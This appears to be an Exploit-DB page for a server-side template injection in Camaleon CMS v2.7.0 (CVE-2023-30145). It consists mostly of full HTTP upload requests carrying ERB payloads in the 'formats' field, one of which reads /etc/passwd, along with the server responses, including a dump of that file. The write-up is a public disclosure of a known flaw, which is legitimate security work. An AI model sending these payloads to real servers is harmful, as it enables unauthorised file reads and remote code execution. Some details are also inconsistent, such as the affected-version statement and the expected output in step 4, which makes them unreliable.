9e36596021
3 changes to exploits/shellcodes/ghdb Bludit CMS v3.14.1 - Stored Cross-Site Scripting (XSS) (Authenticated) GetSimple CMS v3.3.16 - Remote Code Execution (RCE) SitemagicCMS 4.4.3 - Remote Code Execution (RCE) Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)
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5 KiB
Text
175 lines
No EOL
5 KiB
Text
Exploit Title: Camaleon CMS v2.7.0 - Server-Side Template Injection (SSTI)
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Exploit Author: PARAG BAGUL
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CVE: CVE-2023-30145
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## Description
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Camaleon CMS v2.7.0 was discovered to contain a Server-Side Template
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Injection (SSTI) vulnerability via the formats parameter.
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## Affected Component
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All versions below 2.7.0 are affected.
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## Author
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Parag Bagul
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## Steps to Reproduce
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1. Open the target URL: `https://target.com/admin/media/upload`
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2. Upload any file and intercept the request.
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3. In the `formats` parameter value, add the payload `test<%= 7*7 %>test`.
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4. Check the response. It should return the multiplication of 77 with the
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message "File format not allowed (dqopi49vuuvm)".
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##Detection:
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#Request:
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POST /admin/media/upload?actions=false HTTP/1.1
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Host: target.com
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101
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Firefox/102.0
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Accept: /
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://target.com/admin/profile/edit
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data;
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boundary=---------------------------327175120238370517612522354688
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Content-Length: 1200
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Origin: http://target.com
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DNT: 1
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Connection: close
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Cookie: cookie
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="file_upload"; filename="test.txt"
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Content-Type: text/plain
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test
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="versions"
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="thumb_size"
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="formats"
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test<%= 7*7 %>test
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="media_formats"
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image
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="dimension"
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="private"
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="folder"
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/
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-----------------------------327175120238370517612522354688
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Content-Disposition: form-data; name="skip_auto_crop"
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true
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-----------------------------327175120238370517612522354688--
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#Response:
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HTTP/1.1 200 OK
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Content-Type: text/html; charset=utf-8
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Connection: close
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Status: 200 OK
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Cache-Control: max-age=0, private, must-revalidate
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Set-Cookie: cookie
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Content-Length: 41
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File format not allowed (test49test)
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#Exploitation:
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To execute a command, add the following payload:
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testqopi<%= File.open('/etc/passwd').read %>fdtest
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Request:
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POST /admin/media/upload?actions=true HTTP/1.1
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Host: target.com
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User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:102.0) Gecko/20100101
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Firefox/102.0
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Accept: /
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Accept-Language: en-US,en;q=0.5
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Accept-Encoding: gzip, deflate
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Referer: http://target.com/admin/media
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X-Requested-With: XMLHttpRequest
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Content-Type: multipart/form-data;
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boundary=---------------------------104219633614133026962934729021
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Content-Length: 1237
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Origin: http://target.com
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DNT: 1
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Connection: close
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Cookie: cookie
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="file_upload"; filename="test.txt"
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Content-Type: text/plain
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test
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="versions"
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="thumb_size"
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="formats"
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dqopi<%= File.open('/etc/passwd').read %>fdfdsf
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="media_formats"
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="dimension"
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="private"
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="folder"
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/
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-----------------------------104219633614133026962934729021
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Content-Disposition: form-data; name="skip_auto_crop"
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true
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-----------------------------104219633614133026962934729021--
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Response:
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Response:
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HTTP/1.1 200 OK
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Content-Type: text/html; charset=utf-8
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Connection: close
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Status: 200 OK
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Set-Cookie: cookie
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Content-Length: 1816
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File format not allowed (dqopiroot:x:0:0:root:/root:/bin/bash
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daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
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bin:x:2:2:bin:/bin:/usr/sbin/nologin
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sys:x:3:3:sys:/dev:/usr/sbin/nologin
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sync:x:4:65534:sync:/bin:/bin/sync
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games:x:5:60:games:/usr/games:/usr/sbin/nologin
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man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
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lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
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mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
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news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
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uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
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proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
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www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
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backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
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fdfdsf) |